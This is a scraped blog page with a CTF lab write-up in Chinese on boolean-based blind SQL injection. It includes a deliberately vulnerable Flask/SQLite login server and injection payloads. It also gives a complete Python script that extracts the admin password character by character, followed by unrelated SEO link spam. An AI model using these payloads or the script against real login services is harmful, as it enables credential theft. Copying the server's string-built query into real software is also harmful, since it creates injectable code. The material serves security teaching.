当前位置: 首页 > news >正文

把网站放到服务器销售crm客户管理系统

把网站放到服务器,销售crm客户管理系统,国内装饰行业网站开发,网页制作新建站点步骤在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-b…

在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-based Blind SQL Injection)。

我们可以通过构造一系列的"是/否"问题,并根据应用程序的响应来逐位获取flag。

服务器的处理逻辑如下所示:

#!/opt/pwn.college/pythonimport tempfile
import sqlite3
import flask
import osapp = flask.Flask(__name__)class TemporaryDB:def __init__(self):self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")def execute(self, sql, parameters=()):connection = sqlite3.connect(self.db_file.name)connection.row_factory = sqlite3.Rowcursor = connection.cursor()result = cursor.execute(sql, parameters)connection.commit()return resultdb = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")@app.route("/", methods=["POST"])
def challenge_post():username = flask.request.form.get("username")password = flask.request.form.get("password")if not username:flask.abort(400, "Missing `username` form parameter")if not password:flask.abort(400, "Missing `password` form parameter")try:# https://www.sqlite.org/lang_select.htmlquery = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'print(f"DEBUG: {query=}")user = db.execute(query).fetchone()except sqlite3.Error as e:flask.abort(500, f"Query: {query}\nError: {e}")if not user:flask.abort(403, "Invalid username or password")flask.session["user"] = usernamereturn flask.redirect(flask.request.path)@app.route("/", methods=["GET"])
def challenge_get():if not (username := flask.session.get("user", None)):page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."else:page = f"<html><body>Hello, {username}!"return page + """<hr><form method=post>User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit></form></body></html>"""app.secret_key = os.urandom(8)
port = 8080 if os.geteuid() else 80
app.config['SERVER_NAME'] = f"challenge.localhost:{port}"
app.run("challenge.localhost", port)

这里我们需要构造合适的payload:  

admin"--

-- 注释掉查询的剩余部分

整个查询会变成:

SELECT rowid, * FROM users WHERE username = "admin"--" AND password = "anything"

进一步得到

SELECT rowid, * FROM users WHERE username = "admin" AND substr((SELECT password FROM users WHERE username="admin"), 1, 1) = "a"--" AND password = "anything"

构造脚本逐字符猜测

import requests
import stringurl = "http://challenge.localhost:8080"
flag = ""
charset = string.printable.strip()def check(payload):response = requests.post(url, data={"username": payload, "password": "anything"}, allow_redirects=False)return response.status_code == 302# 获取flag长度
for i in range(1, 100):payload = f'admin" AND length((SELECT password FROM users WHERE username="admin")) = {i}--'if check(payload):print(f"Flag length: {i}")flag_length = ibreak# 获取flag内容
for i in range(1, flag_length + 1):for char in charset:payload = f'admin" AND substr((SELECT password FROM users WHERE username="admin"), {i}, 1) = "{char}"--'if check(payload):flag += charprint(f"Current flag: {flag}")breakprint(f"Final flag: {flag}")

http://www.shuangfujiaoyu.com/news/44400.html

相关文章:

  • wordpress 自适应门户快速排名优化seo
  • 有人做家具网站中介吗自媒体平台注册下载
  • 做新闻网站需要什么证件好的营销网站
  • 重庆软件外包公司廊坊关键词排名优化
  • 2019一个网站开发要多少钱一键优化清理加速
  • 广州做网站做得比较好百度推广投诉热线
  • 万金娱乐网站开发最新国内新闻10条
  • 有哪些做h5的网站网络营销培训课程
  • 试用型网站百度推广登录
  • 期货配资网站开发seo专家招聘
  • 邱县做网站成都专门做网站的公司
  • 深圳什么公司做网站好怎么搞自己的网站
  • 收录查询 站长工具个人网站设计内容
  • 做网站教学书seo优化在哪里学
  • wordpress 禁止草稿上海网络seo
  • 大学生作业做网站活动营销的方式有哪些
  • 网站app公众号先做哪个比较好可以发外链的平台
  • 可以做pos机的网站抖音搜索seo排名优化
  • 凡科建站网站建设seo算法培训
  • wordpress 极致优化排名sem优化软件
  • 建设局合同备案是哪个网站网站seo推广优化教程
  • 专注电子商务网站建设google推广工具
  • 多商家商城重庆seo网站管理
  • 政务网站无障碍建设外链网盘源码
  • 企业微网站制作教程如何制作一个简易网站
  • 下载大连建设网官方网站个人网站设计欣赏
  • 芜湖网站建设求职简历上海关键词排名软件
  • app开发和网站开发价格关键词排名优化系统
  • 百度开放云做网站天气预报最新天气预报
  • wordpress 模板生成器seo网络优化平台